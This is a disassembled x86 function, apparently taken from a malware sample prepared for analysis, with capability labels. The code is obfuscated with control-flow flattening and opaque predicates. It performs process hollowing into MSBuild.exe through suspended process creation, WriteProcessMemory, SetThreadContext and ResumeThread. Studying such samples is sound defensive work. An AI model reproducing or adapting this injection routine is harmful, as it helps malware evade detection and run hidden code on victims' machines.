Function at 0x10002850
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x1006aa00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
sub edx, 0x4df26e57
sub edx, 1
add edx, 0x4df26e57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x10e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x10d], al
mov dword [ebp - 0x114], 0x9edc11e0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8036be1d
je 0x10006b3a
jmp 0x100028cb
mov eax, dword [ebp - 0x118]
sub eax, 0x80dd726e
je 0x10005fff
jmp 0x100028e1
mov eax, dword [ebp - 0x118]
sub eax, 0x823887f8
je 0x1000a554
jmp 0x100028f7
mov eax, dword [ebp - 0x118]
sub eax, 0x833d23f1
je 0x10007c4f
jmp 0x1000290d
mov eax, dword [ebp - 0x118]
sub eax, 0x83977240
je 0x10009c8e
jmp 0x10002923
mov eax, dword [ebp - 0x118]
sub eax, 0x83e04b36
je 0x10008ec2
jmp 0x10002939
mov eax, dword [ebp - 0x118]
sub eax, 0x83f441ea
je 0x10008a4b
jmp 0x1000294f
mov eax, dword [ebp - 0x118]
sub eax, 0x843d20d3
je 0x10007de9
jmp 0x10002965
mov eax, dword [ebp - 0x118]
sub eax, 0x84c15b52
je 0x10006d25
jmp 0x1000297b
mov eax, dword [ebp - 0x118]
sub eax, 0x84d7c881
je 0x1000a8b3
jmp 0x10002991
mov eax, dword [ebp - 0x118]
sub eax, 0x8500a541
je 0x100096bd
jmp 0x100029a7
mov eax, dword [ebp - 0x118]
sub eax, 0x851eb24c
je 0x1000846a
jmp 0x100029bd
mov eax, dword [ebp - 0x118]
sub eax, 0x8530e930
je 0x100052ea
jmp 0x100029d3
mov eax, dword [ebp - 0x118]
sub eax, 0x85953f93
je 0x10009d04
jmp 0x100029e9
mov eax, dword [ebp - 0x118]
sub eax, 0x86ecc7de
je 0x10008adb
jmp 0x100029ff
mov eax, dword [ebp - 0x118]
sub eax, 0x87622c2f
je 0x10005cef
jmp 0x10002a15
mov eax, dword [ebp - 0x118]
sub eax, 0x8778710d
je 0x10009750
jmp 0x10002a2b
mov eax, dword [ebp - 0x118]
sub eax, 0x879d7e75
je 0x10005fbd
jmp 0x10002a41
mov eax, dword [ebp - 0x118]
sub eax, 0x87c21eca
je 0x10008a69
jmp 0x10002a57
mov eax, dword [ebp - 0x118]
sub eax, 0x882d53ef
je 0x10005169
jmp 0x10002a6d
mov eax, dword [ebp - 0x118]
sub eax, 0x8a08a0cc
je 0x10006805
jmp 0x10002a83
mov eax, dword [ebp - 0x118]
sub eax, 0x8a2fdb0d
je 0x10005fa0
jmp 0x10002a99
mov eax, dword [ebp - 0x118]
sub eax, 0x8c10b89f
je 0x10005b32
jmp 0x10002aaf
mov eax, dword [ebp - 0x118]
sub eax, 0x8c16cd93
je 0x1000a4f4
jmp 0x10002ac5
mov eax, dword [ebp - 0x118]
sub eax, 0x8d4ca957
je 0x10009da6
jmp 0x10002adb
mov eax, dword [ebp - 0x118]
sub eax, 0x8e2b0929
je 0x10009c7f
jmp 0x10002af1
mov eax, dword [ebp - 0x118]
sub eax, 0x8f5bbca8
je 0x10007870
jmp 0x10002b07
mov eax, dword [ebp - 0x118]
sub eax, 0x8f6be375
je 0x10005d52
jmp 0x10002b1d
mov eax, dword [ebp - 0x118]
sub eax, 0x8fd05427
je 0x10009a95
jmp 0x10002b33
mov eax, dword [ebp - 0x118]
sub eax, 0x908aea43
je 0x10007779
jmp 0x10002b49
mov eax, dword [ebp - 0x118]
sub eax, 0x91c50d1c
je 0x10008d85
jmp 0x10002b5f
mov eax, dword [ebp - 0x118]
sub eax, 0x9238a133
je 0x1000a113
jmp 0x10002b75
mov eax, dword [ebp - 0x118]
sub eax, 0x92e95d70
je 0x10004ce4
jmp 0x10002b8b
mov eax, dword [ebp - 0x118]
sub eax, 0x930850c9
je 0x10008bac
jmp 0x10002ba1
mov eax, dword [ebp - 0x118]
sub eax, 0x952d82eb
je 0x1000a5f6
jmp 0x10002bb7
mov eax, dword [ebp - 0x118]
sub eax, 0x95690168
je 0x1000966c
jmp 0x10002bcd
mov eax, dword [ebp - 0x118]
sub eax, 0x95e573a3
je 0x100097fd
jmp 0x10002be3
mov eax, dword [ebp - 0x118]
sub eax, 0x96131dfc
je 0x10007200
jmp 0x10002bf9
mov eax, dword [ebp - 0x118]
sub eax, 0x962b65bb
je 0x10008a5a
jmp 0x10002c0f
mov eax, dword [ebp - 0x118]
sub eax, 0x96305d8b
je 0x10009a4c
jmp 0x10002c25
mov eax, dword [ebp - 0x118]
sub eax, 0x96ade67b
je 0x100097c1
jmp 0x10002c3b
mov eax, dword [ebp - 0x118]
sub eax, 0x9739a3f1
je 0x10005ad6
jmp 0x10002c51
mov eax, dword [ebp - 0x118]
sub eax, 0x97c24d10
je 0x10008150
jmp 0x10002c67
mov eax, dword [ebp - 0x118]
sub eax, 0x98a40c75
je 0x10005068
jmp 0x10002c7d
mov eax, dword [ebp - 0x118]
sub eax, 0x98ad2076
je 0x100076ba
jmp 0x10002c93
mov eax, dword [ebp - 0x118]
sub eax, 0x99197573
je 0x1000848b
jmp 0x10002ca9
mov eax, dword [ebp - 0x118]
sub eax, 0x99823336
je 0x10009624
jmp 0x10002cbf
mov eax, dword [ebp - 0x118]
sub eax, 0x9acf0ce7
je 0x10009cb7
jmp 0x10002cd5
mov eax, dword [ebp - 0x118]
sub eax, 0x9af9b742
je 0x10005854
jmp 0x10002ceb
mov eax, dword [ebp - 0x118]
sub eax, 0x9c73f30d
je 0x10009bfe
jmp 0x10002d01
mov eax, dword [ebp - 0x118]
sub eax, 0x9d1646ca
je 0x1000905f
jmp 0x10002d17
mov eax, dword [ebp - 0x118]
sub eax, 0x9d907d5f
je 0x10005662
jmp 0x10002d2d
mov eax, dword [ebp - 0x118]
sub eax, 0x9ea22a2b
je 0x10007299
jmp 0x10002d43
mov eax, dword [ebp - 0x118]
sub eax, 0x9edc11e0
je 0x10004c90
jmp 0x10002d59
mov eax, dword [ebp - 0x118]
sub eax, 0x9f300474
je 0x10005008
jmp 0x10002d6f
mov eax, dword [ebp - 0x118]
sub eax, 0x9f3277e2
je 0x10006995
jmp 0x10002d85
mov eax, dword [ebp - 0x118]
sub eax, 0x9fbef17d
je 0x10009bad
jmp 0x10002d9b
mov eax, dword [ebp - 0x118]
sub eax, 0x9fd0c97d
je 0x100053ca
jmp 0x10002db1
mov eax, dword [ebp - 0x118]
sub eax, 0xa0c3cf4e
je 0x1000a0e3
jmp 0x10002dc7
mov eax, dword [ebp - 0x118]
sub eax, 0xa2710d09
je 0x1000a2cc
jmp 0x10002ddd
mov eax, dword [ebp - 0x118]
sub eax, 0xa29aca8d
je 0x1000754d
jmp 0x10002df3
mov eax, dword [ebp - 0x118]
sub eax, 0xa2e17716
je 0x10007d86
jmp 0x10002e09
mov eax, dword [ebp - 0x118]
sub eax, 0xa3d4eba9
je 0x1000550d
jmp 0x10002e1f
mov eax, dword [ebp - 0x118]
sub eax, 0xa4e804a8
je 0x100065cf
jmp 0x10002e35
mov eax, dword [ebp - 0x118]
sub eax, 0xa6054b11
je 0x100087ce
mov bl, byte [ebp - 0x10e]
mov dh, byte [ebp - 0x10d]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc6924417
mov ecx, 0x92e95d70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
sub edx, 0x5601069d
sub edx, 1
add edx, 0x5601069d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc6924417
mov ecx, 0xbb575466
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0xf606aa0
jmp 0x1000a959
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
sub edx, 0x19550e33
sub edx, 1
add edx, 0x19550e33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f60e9c4
mov ecx, 0xb9b6444d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10017398]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xc5a45ab9
jmp 0x1000a959
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10017388]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x17b9503
jmp 0x1000a959
mov dl, 1
mov eax, 0xa3d4eba9
mov ecx, 0xdccd80fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10017380]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xf2c81a82
jmp 0x1000a959
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001736c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xae3243f8
mov ecx, 0xb81389ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d782942
mov ecx, 0x41582a38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0xa69d1c04
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
sub edx, 0x42e970b2
sub edx, 1
add edx, 0x42e970b2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedb4d86f
mov ecx, 0x334f5bfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017208]
movss dword [eax], xmm0
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
add edx, 0x62b319f
sub edx, 1
sub edx, 0x62b319f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1c3ac39
mov ecx, 0x8f6be375
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0xc519da75
jmp 0x1000a959
mov dl, 1
mov eax, 0x80dd726e
mov ecx, 0x879d7e75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017338]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xb444ccd8
jmp 0x1000a959
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017330]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xd39ddbf2
jmp 0x1000a959
mov dword [ebp - 0x114], 0xc971a27e
jmp 0x1000a959
mov dl, 1
mov eax, 0x552b0793
mov ecx, 0xfb479beb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x740362fa
mov ecx, 0x5ceda454
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100172e4]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x61a9f728
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
add edx, 0xaaa9743f
sub edx, 1
sub edx, 0xaaa9743f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe514b959
mov ecx, 0x41a8d92e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dl, 1
mov eax, 0xe3e32027
mov ecx, 0x56246f3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
add edx, 0xc1bec3f1
sub edx, 1
sub edx, 0xc1bec3f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x11c1e6a3
mov ecx, 0xa8a5584d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100172bc]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x35eef1a8
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d5a6617
mov ecx, 0xefedc462
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0x5502aad5
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
sub edx, 0x52c950e0
sub edx, 1
add edx, 0x52c950e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1351e313
mov ecx, 0x12336e5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dl, 1
mov eax, 0xda53b773
mov ecx, 0xf3307585
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017290]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001728c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x3e870bf4
jmp 0x1000a959
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10017284]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10017280]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xdeb26dfc
mov ecx, 0xde8c3e5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
sub edx, 0x84059c62
sub edx, 1
add edx, 0x84059c62
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54da1848
mov ecx, 0xd6a3ca75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001725c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x99197573
jmp 0x1000a959
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10017258]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xe0e77dcc
jmp 0x1000a959
mov dword [ebp - 0x114], 0x962b65bb
jmp 0x1000a959
mov dword [ebp - 0x114], 0x87c21eca
jmp 0x1000a959
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ca00
call fcn.10001010
add esp, 8
mov dword [ebp - 0x114], 0xc806c586
jmp 0x1000a959
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x3c]
sub eax, 0xe3bdae8b
add eax, ecx
add eax, 0xe3bdae8b
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x114], 0xc7c3bd82
jmp 0x1000a959
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dl, byte [eax]
mov eax, 0x35fd9b2b
mov ecx, 0xaa8c7fc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
add edx, 0xcbb8b581
sub edx, 1
sub edx, 0xcbb8b581
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xda680ec
mov ecx, 0xb4f44e3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x84]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xe4c229d7
mov ecx, 0x319a8774
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov edx, dword [ebp - 0x80]
mov eax, 0x6a0b2f6c
mov ecx, 0x7d04100b
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov edx, dword [ebp - 0x4c]
mov eax, 0x4e1a8c3
mov ecx, 0xc9534a3b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
add edx, 0x3c4b5607
sub edx, 1
sub edx, 0x3c4b5607
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc12f799
mov ecx, 0x8500a541
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc12f799
mov ecx, 0xcc070807
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov edx, dword [ebp - 0x44]
mov eax, 0x85953f93
mov ecx, 0xc53accf9
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov dword [ebp - 0x114], 0x95e573a3
jmp 0x1000a959
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x114], 0x610220ee
jmp 0x1000a959
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
sub ecx, 0xa600ded0
add ecx, eax
add ecx, 0xa600ded0
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x114], 0x8fd05427
jmp 0x1000a959
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x114], 0xb4da2cc1
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
sub edx, 0x56d97452
sub edx, 1
add edx, 0x56d97452
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf328f426
mov ecx, 0x9c73f30d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x1006bd28]
mov eax, dword [0x1006bd24]
mov edx, ecx
sub edx, 0xb1b831b8
sub edx, 1
add edx, 0xb1b831b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf328f426
mov ecx, 0x8e2b0929
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0x83977240
jmp 0x1000a959
mov ecx, dword [ebp - 0x24]
sub ecx, 0x377e34a8
add ecx, 1
add ecx, 0x377e34a8
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x95e573a3
jmp 0x1000a959
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ecx + 4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x114], 0xc54213c5
jmp 0x1000a959
mov eax, dword [0x1006bd28]
mov ecx, dword [0x1006bd24]
mov edx, eax
sub edx, 0x2b75952f
sub edx, 1
add edx, 0x2b75952f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb13fa21c
mov ecx, 0x5f0eb116
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000a959
mov dword [ebp - 0x114], 0x4e1a8c3
jmp 0x1000a959
mov dword [ebp - 0x114], 0xc3d0f087
jmp 0x1000a959
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10017228]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x6deaa2e8
jmp 0x1000a959
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171f8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xaedca3ca
jmp 0x1000a959
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100171c0]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x598b1004
jmp 0x1000a959
mov dword [ebp - 0x114], 0x435a1b23
jmp 0x1000a959
mov dword [ebp - 0x114], 0xde64b65c
jmp 0x1000a959
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xbc41bb68
add ecx, eax
sub ecx, 0xbc41bb68
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x114], 0x40287edc
jmp 0x1000a959
jmp 0x100028af